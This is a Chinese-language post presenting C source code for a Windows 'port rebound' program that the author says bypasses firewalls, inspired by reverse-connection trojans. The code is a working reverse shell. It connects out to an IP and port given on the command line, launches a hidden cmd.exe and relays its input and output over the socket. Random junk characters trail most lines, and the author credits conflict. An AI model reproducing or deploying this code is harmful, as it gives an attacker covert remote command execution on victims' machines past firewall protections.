Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 PdVx&BL*  
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/* ============================== .eg'Z@o  
Rebound port in Windows NT zO\_^A|8H  
By wind,2006/7 ]Ss63Vd  
===============================*/ 9)]`le  
#include d*Su c  
#include q6$6:L,<  
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#pragma comment(lib,"wsock32.lib") }NwmZw>_  
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void OutputShell(); 9 c9$
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SOCKET sClient; w^&UMX}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; r+[g.`  
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void main(int argc,char **argv) EeQ8Uxb7  
{ !gRU;ZQU_  
WSADATA stWsaData; -u%o);B  
int nRet; CPNV\qCY  
SOCKADDR_IN stSaiClient,stSaiServer; :RB7#v={  
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if(argc != 3) W`_Wi*z4  
{ I:=!,4S;  
printf("Useage:\n\rRebound DestIP DestPort\n"); lY
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return; vFJ4`Gjw(  
} M<Z#4Gg#4  
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WSAStartup(MAKEWORD(2,2),&stWsaData); EB+4]MsD  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wjX0r7^@  
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); b9.7j!W  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hZ<FCY,/?  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T^|6{ S\  
{ tJd/uQJ  
printf("Bind Socket Failed!\n"); I %1P:-  
return; w{;bvq%lY  
} GF<SQHL,  
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stSaiServer.sin_family = AF_INET; o~:({  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); UG}"OBg/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W}(xE?9&  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9Kz
}  
{ QE;,mC>  
printf("Connect Error!"); &s.-p_4w^D  
return; `$;%%/tx  
} G @L`[Wu  
OutputShell(); :VRQd}$Pi  
} ^jo*e,y:  
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void OutputShell() 7&|&y SCu  
{ F+Hmp\rM#  
char szBuff[1024]; J72kjj&C  
SECURITY_ATTRIBUTES stSecurityAttributes; U3>ES"N  
OSVERSIONINFO stOsversionInfo; %8%0l*n'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @q" #.?>s  
STARTUPINFO stStartupInfo; 8`w#)6(V  
char *szShell; ve/|"RB  
PROCESS_INFORMATION stProcessInformation; ^''3}<Ep  
unsigned long lBytesRead; )Oj%3  

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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (TGG?V  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0s%{m<  
stSecurityAttributes.lpSecurityDescriptor = 0; 9;pD0h|  
stSecurityAttributes.bInheritHandle = TRUE; +-:G+9L@  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); { r8H5X  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z"@UNypc,  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *3Ci4\Ew  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pB]+c%\  
stStartupInfo.wShowWindow = SW_HIDE; N^tH&\G\m  
stStartupInfo.hStdInput = hReadPipe; RZKczZGZg  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #>\8m+h 9  
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GetVersionEx(&stOsversionInfo); :,dO7dJi  
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switch(stOsversionInfo.dwPlatformId) {{4Sgb  
{ ww{07g  
case 1: Jro%zZle  
szShell = "command.com"; ZzO.s$  
break; RV+0C&0ff  
default: /3v`2=b  
szShell = "cmd.exe"; |/35c0IM  
break; < G:G/  
} uzUZuJ  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q]o^Y  
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send(sClient,szMsg,77,0); FY;R0+N  
while(1) "@)9$-g  
{ js\|xfDxP  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }xM >F%  
if(lBytesRead) >)PcK  
{ dg]: JU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); G+xdh  
send(sClient,szBuff,lBytesRead,0); P ".[=h  
} eyGY8fF8$  
else `[Xff24(eb  
{ f'<MDLl  
lBytesRead=recv(sClient,szBuff,1024,0); zcNv T  
if(lBytesRead<=0) break; ^.@BD4/RPt  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /?j vv&  
} YAf`Fnmw  
} S20L@e"U  
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return; S @'fmjA'  
}